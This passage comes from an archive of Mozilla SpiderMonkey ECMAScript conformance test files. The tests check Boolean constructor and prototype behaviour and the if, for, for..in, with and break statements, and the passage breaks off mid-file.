-*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.2.js ECMA Section: 15.6.2 The Boolean Constructor 15.6.2.1 new Boolean( value ) 15.6.2.2 new Boolean() This test verifies that the Boolean constructor initializes a new object (typeof should return "object"). The prototype of the new object should be Boolean.prototype. The value of the object should be ToBoolean( value ) (a boolean value). Description: Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "15.6.2 The Boolean Constructor; 15.6.2.1 new Boolean( value ); 15.6.2.2 new Boolean()"; writeHeaderToLog( SECTION + " "+ TITLE); var array = new Array(); var item = 0; new TestCase( SECTION, "typeof (new Boolean(1))", "object", typeof (new Boolean(1)) ); new TestCase( SECTION, "(new Boolean(1)).constructor", Boolean.prototype.constructor, (new Boolean(1)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(1)).valueOf()", true, (new Boolean(1)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(1)", "object", typeof new Boolean(1) ); new TestCase( SECTION, "(new Boolean(0)).constructor", Boolean.prototype.constructor, (new Boolean(0)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(0)).valueOf()", false, (new Boolean(0)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(0)", "object", typeof new Boolean(0) ); new TestCase( SECTION, "(new Boolean(-1)).constructor", Boolean.prototype.constructor, (new Boolean(-1)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(-1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(-1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(-1)).valueOf()", true, (new Boolean(-1)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(-1)", "object", typeof new Boolean(-1) ); new TestCase( SECTION, "(new Boolean('1')).constructor", Boolean.prototype.constructor, (new Boolean('1')).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean('1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean('1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean('1')).valueOf()", true, (new Boolean('1')).valueOf() ); new TestCase( SECTION, "typeof new Boolean('1')", "object", typeof new Boolean('1') ); new TestCase( SECTION, "(new Boolean('0')).constructor", Boolean.prototype.constructor, (new Boolean('0')).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean('0');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean('0');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean('0')).valueOf()", true, (new Boolean('0')).valueOf() ); new TestCase( SECTION, "typeof new Boolean('0')", "object", typeof new Boolean('0') ); new TestCase( SECTION, "(new Boolean('-1')).constructor", Boolean.prototype.constructor, (new Boolean('-1')).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean('-1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean('-1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean('-1')).valueOf()", true, (new Boolean('-1')).valueOf() ); new TestCase( SECTION, "typeof new Boolean('-1')", "object", typeof new Boolean('-1') ); new TestCase( SECTION, "(new Boolean(new Boolean(true))).constructor", Boolean.prototype.constructor, (new Boolean(new Boolean(true))).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(new Boolean(true));TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(new Boolean(true));TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(new Boolean(true))).valueOf()", true, (new Boolean(new Boolean(true))).valueOf() ); new TestCase( SECTION, "typeof new Boolean(new Boolean(true))", "object", typeof new Boolean(new Boolean(true)) ); new TestCase( SECTION, "(new Boolean(Number.NaN)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NaN)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(Number.NaN);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(Number.NaN);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(Number.NaN)).valueOf()", false, (new Boolean(Number.NaN)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(Number.NaN)", "object", typeof new Boolean(Number.NaN) ); new TestCase( SECTION, "(new Boolean(null)).constructor", Boolean.prototype.constructor, (new Boolean(null)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(null);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(null);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(null)).valueOf()", false, (new Boolean(null)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(null)", "object", typeof new Boolean(null) ); new TestCase( SECTION, "(new Boolean(void 0)).constructor", Boolean.prototype.constructor, (new Boolean(void 0)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(void 0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(void 0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(void 0)).valueOf()", false, (new Boolean(void 0)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(void 0)", "object", typeof new Boolean(void 0) ); new TestCase( SECTION, "(new Boolean(Number.POSITIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.POSITIVE_INFINITY)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(Number.POSITIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(Number.POSITIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(Number.POSITIVE_INFINITY)).valueOf()", true, (new Boolean(Number.POSITIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(Number.POSITIVE_INFINITY)", "object", typeof new Boolean(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NEGATIVE_INFINITY)).constructor ); new TestCase( SECTION, "TESTBOOL=new Boolean(Number.NEGATIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean(Number.NEGATIVE_INFINITY);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).valueOf()", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof new Boolean(Number.NEGATIVE_INFINITY)", "object", typeof new Boolean(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "(new Boolean(Number.NEGATIVE_INFINITY)).constructor", Boolean.prototype.constructor, (new Boolean(Number.NEGATIVE_INFINITY)).constructor ); new TestCase( "15.6.2.2", "TESTBOOL=new Boolean();TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()", "[object Boolean]", eval("TESTBOOL=new Boolean();TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") ); new TestCase( "15.6.2.2", "(new Boolean()).valueOf()", false, (new Boolean()).valueOf() ); new TestCase( "15.6.2.2", "typeof new Boolean()", "object", typeof new Boolean() ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.3.1.js0000664000175000017500000000211012106270663020653 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1.js ECMA Section: 15.6.3.1 Boolean.prototype Description: The initial valu eof Boolean.prototype is the built-in Boolean prototype object (15.6.4). The property shall have the attributes [DontEnum, DontDelete, ReadOnly ]. It has the internal [[Call]] and [[Construct]] properties (not tested), and the length property. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Boolean.prototype.valueOf()", false, Boolean.prototype.valueOf() ); new TestCase( SECTION, "Boolean.length", 1, Boolean.length ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.3-4-n.js0000664000175000017500000000233612106270663021264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.3-4.js ECMA Section: 15.6.4.3 Boolean.prototype.valueOf() Description: Returns this boolean value. The valueOf function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.3-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.valueOf()"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()" EXPECTED = "error"; new TestCase( SECTION, "valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()", "error", eval("valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.1.js0000664000175000017500000000524312106270663020524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.1.js ECMA Section: 15.6.1 The Boolean Function 15.6.1.1 Boolean( value ) 15.6.1.2 Boolean () Description: Boolean( value ) should return a Boolean value not a Boolean object) computed by Boolean.toBooleanValue( value) 15.6.1.2 Boolean() returns false Author: christine@netscape.com Date: 27 jun 1997 Data File Fields: VALUE Argument passed to the Boolean function TYPE typeof VALUE (not used, but helpful in understanding the data file) E_RETURN Expected return value of Boolean( VALUE ) */ var SECTION = "15.6.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Boolean constructor called as a function: Boolean( value ) and Boolean()"; writeHeaderToLog( SECTION + " "+ TITLE); var array = new Array(); var item = 0; new TestCase( SECTION, "Boolean(1)", true, Boolean(1) ); new TestCase( SECTION, "Boolean(0)", false, Boolean(0) ); new TestCase( SECTION, "Boolean(-1)", true, Boolean(-1) ); new TestCase( SECTION, "Boolean('1')", true, Boolean("1") ); new TestCase( SECTION, "Boolean('0')", true, Boolean("0") ); new TestCase( SECTION, "Boolean('-1')", true, Boolean("-1") ); new TestCase( SECTION, "Boolean(true)", true, Boolean(true) ); new TestCase( SECTION, "Boolean(false)", false, Boolean(false) ); new TestCase( SECTION, "Boolean('true')", true, Boolean("true") ); new TestCase( SECTION, "Boolean('false')", true, Boolean("false") ); new TestCase( SECTION, "Boolean(null)", false, Boolean(null) ); new TestCase( SECTION, "Boolean(-Infinity)", true, Boolean(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Boolean(NaN)", false, Boolean(Number.NaN) ); new TestCase( SECTION, "Boolean(void(0))", false, Boolean( void(0) ) ); new TestCase( SECTION, "Boolean(x=0)", false, Boolean( x=0 ) ); new TestCase( SECTION, "Boolean(x=1)", true, Boolean( x=1 ) ); new TestCase( SECTION, "Boolean(x=false)", false, Boolean( x=false ) ); new TestCase( SECTION, "Boolean(x=true)", true, Boolean( x=true ) ); new TestCase( SECTION, "Boolean(x=null)", false, Boolean( x=null ) ); new TestCase( SECTION, "Boolean()", false, Boolean() ); // array[item++] = new TestCase( SECTION, "Boolean(var someVar)", false, Boolean( someVar ) ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.js0000664000175000017500000000341112106270663020522 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.js ECMA Section: Properties of the Boolean Prototype Object Description: The Boolean prototype object is itself a Boolean object (its [[Class]] is " Boolean") whose value is false. The value of the internal [[Prototype]] property of the Boolean prototype object is the Object prototype object (15.2.3.1). In following descriptions of functions that are properties of the Boolean prototype object, the phrase "this Boolean object" refers to the object that is the this value for the invocation of the function; it is an error if this does not refer to an object for which the value of the internal [[Class]] property is "Boolean". Also, the phrase "this boolean value" refers to the boolean value represented by this Boolean object, that is, the value of the internal [[Value]] property of this Boolean object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.6.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Boolean Prototype Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Boolean.prototype == false", true, Boolean.prototype == false ); new TestCase( SECTION, "Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()", "[object Boolean]", eval("Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.3-3.js0000664000175000017500000000205512106270663021026 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.3-3.js ECMA Section: 15.6.4.3 Boolean.prototype.valueOf() Description: Returns this boolean value. The valueOf function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.3-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.valueOf()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "x=true; x.valueOf=Boolean.prototype.valueOf;x.valueOf()", true, eval("x=true; x.valueOf=Boolean.prototype.valueOf;x.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.2-1.js0000664000175000017500000000660412106270663021027 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.2.js ECMA Section: 15.6.4.2-1 Boolean.prototype.toString() Description: If this boolean value is true, then the string "true" is returned; otherwise this boolean value must be false, and the string "false" is returned. The toString function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.toString()" writeHeaderToLog( SECTION + TITLE ); new TestCase( SECTION, "new Boolean(1)", "true", (new Boolean(1)).toString() ); new TestCase( SECTION, "new Boolean(0)", "false", (new Boolean(0)).toString() ); new TestCase( SECTION, "new Boolean(-1)", "true", (new Boolean(-1)).toString() ); new TestCase( SECTION, "new Boolean('1')", "true", (new Boolean("1")).toString() ); new TestCase( SECTION, "new Boolean('0')", "true", (new Boolean("0")).toString() ); new TestCase( SECTION, "new Boolean(true)", "true", (new Boolean(true)).toString() ); new TestCase( SECTION, "new Boolean(false)", "false", (new Boolean(false)).toString() ); new TestCase( SECTION, "new Boolean('true')", "true", (new Boolean('true')).toString() ); new TestCase( SECTION, "new Boolean('false')", "true", (new Boolean('false')).toString() ); new TestCase( SECTION, "new Boolean('')", "false", (new Boolean('')).toString() ); new TestCase( SECTION, "new Boolean(null)", "false", (new Boolean(null)).toString() ); new TestCase( SECTION, "new Boolean(void(0))", "false", (new Boolean(void(0))).toString() ); new TestCase( SECTION, "new Boolean(-Infinity)", "true", (new Boolean(Number.NEGATIVE_INFINITY)).toString() ); new TestCase( SECTION, "new Boolean(NaN)", "false", (new Boolean(Number.NaN)).toString() ); new TestCase( SECTION, "new Boolean()", "false", (new Boolean()).toString() ); new TestCase( SECTION, "new Boolean(x=1)", "true", (new Boolean(x=1)).toString() ); new TestCase( SECTION, "new Boolean(x=0)", "false", (new Boolean(x=0)).toString() ); new TestCase( SECTION, "new Boolean(x=false)", "false", (new Boolean(x=false)).toString() ); new TestCase( SECTION, "new Boolean(x=true)", "true", (new Boolean(x=true)).toString() ); new TestCase( SECTION, "new Boolean(x=null)", "false", (new Boolean(x=null)).toString() ); new TestCase( SECTION, "new Boolean(x='')", "false", (new Boolean(x="")).toString() ); new TestCase( SECTION, "new Boolean(x=' ')", "true", (new Boolean(x=" ")).toString() ); new TestCase( SECTION, "new Boolean(new MyObject(true))", "true", (new Boolean(new MyObject(true))).toString() ); new TestCase( SECTION, "new Boolean(new MyObject(false))", "true", (new Boolean(new MyObject(false))).toString() ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); return this; } mozjs17.0.0/js/src/tests/ecma/Statements/0000775000175000017500000000000012106270663020202 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Statements/12.5-1.js0000664000175000017500000000413012106270663021261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.5-1.js ECMA Section: The if statement Description: The production IfStatement : if ( Expression ) Statement else Statement is evaluated as follows: 1.Evaluate Expression. 2.Call GetValue(Result(1)). 3.Call ToBoolean(Result(2)). 4.If Result(3) is false, go to step 7. 5.Evaluate the first Statement. 6.Return Result(5). 7.Evaluate the second Statement. 8.Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The if statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var MYVAR; if ( true ) MYVAR='PASSED'; else MYVAR= 'FAILED';", "PASSED", eval("var MYVAR; if ( true ) MYVAR='PASSED'; else MYVAR= 'FAILED';") ); new TestCase( SECTION, "var MYVAR; if ( false ) MYVAR='FAILED'; else MYVAR= 'PASSED';", "PASSED", eval("var MYVAR; if ( false ) MYVAR='FAILED'; else MYVAR= 'PASSED';") ); new TestCase( SECTION, "var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; else MYVAR= 'FAILED';", "PASSED", eval("var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; else MYVAR= 'FAILED';") ); new TestCase( SECTION, "var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; else MYVAR= 'FAILED';", "PASSED", eval("var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; else MYVAR= 'FAILED';") ); new TestCase( SECTION, "var MYVAR; if ( 1 ) MYVAR='PASSED'; else MYVAR= 'FAILED';", "PASSED", eval("var MYVAR; if ( 1 ) MYVAR='PASSED'; else MYVAR= 'FAILED';") ); new TestCase( SECTION, "var MYVAR; if ( 0 ) MYVAR='FAILED'; else MYVAR= 'PASSED';", "PASSED", eval("var MYVAR; if ( 0 ) MYVAR='FAILED'; else MYVAR= 'PASSED';") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-6.js0000664000175000017500000000166112106270663021435 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-6.js ECMA Section: 12.6.2 The for Statement 1. first expression is present. 2. second expression is not present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( "12.6.2-6", "for statement", 256, testprogram() ); test(); function testprogram() { var myVar; for ( myVar=2; ; myVar *= myVar ) { if (myVar > 100) break; continue; } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/shell.js0000664000175000017500000000000012106270663021635 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-3.js0000664000175000017500000000174212106270663021433 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-3.js ECMA Section: for..in loops Description: This verifies the fix to http://scopus.mcom.com/bugsplat/show_bug.cgi?id=112156 for..in should take general lvalue for first argument Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.6.3-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); var o = {}; var result = ""; for ( o.a in [1,2,3] ) { result += String( [1,2,3][o.a] ); } new TestCase( SECTION, "for ( o.a in [1,2,3] ) { result += String( [1,2,3][o.a] ); } result", "123", result ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-11.js0000664000175000017500000000441112106270663021506 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-11.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // 5. Get the name of the next property of Result(3) that doesn't have the // DontEnum attribute. If there is no such property, go to step 14. var result = ""; for ( p in Number ) { result += String(p) }; new TestCase( SECTION, "result = \"\"; for ( p in Number ) { result += String(p) };", "", result ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.10.js0000664000175000017500000000137512106270663021207 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.10-1.js ECMA Section: 12.10 The with statement Description: Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.10-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The with statement"; writeHeaderToLog( SECTION +" "+ TITLE); new TestCase( SECTION, "var x; with (7) x = valueOf(); typeof x;", "number", eval("var x; with(7) x = valueOf(); typeof x;") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-12.js0000664000175000017500000000440412106270663021511 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-12.js ECMA Section: 12.6.3 The for...in Statement Description: This is a regression test for http://bugzilla.mozilla.org/show_bug.cgi?id=9802. The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); var result = "PASSED"; for ( aVar in this ) { if (aVar == "aVar") { result = "FAILED" } }; new TestCase( SECTION, "var result=''; for ( aVar in this ) { " + "if (aVar == 'aVar') {return a failure}; result", "PASSED", result ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.8-1-n.js0000664000175000017500000000135412106270663021524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.8-1-n.js ECMA Section: 12.8 The break statement Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.8-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The break in statement"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "break"; EXPECTED = "error"; new TestCase( SECTION, "break", "error", eval("break") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-4.js0000664000175000017500000001067112106270663021435 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; var 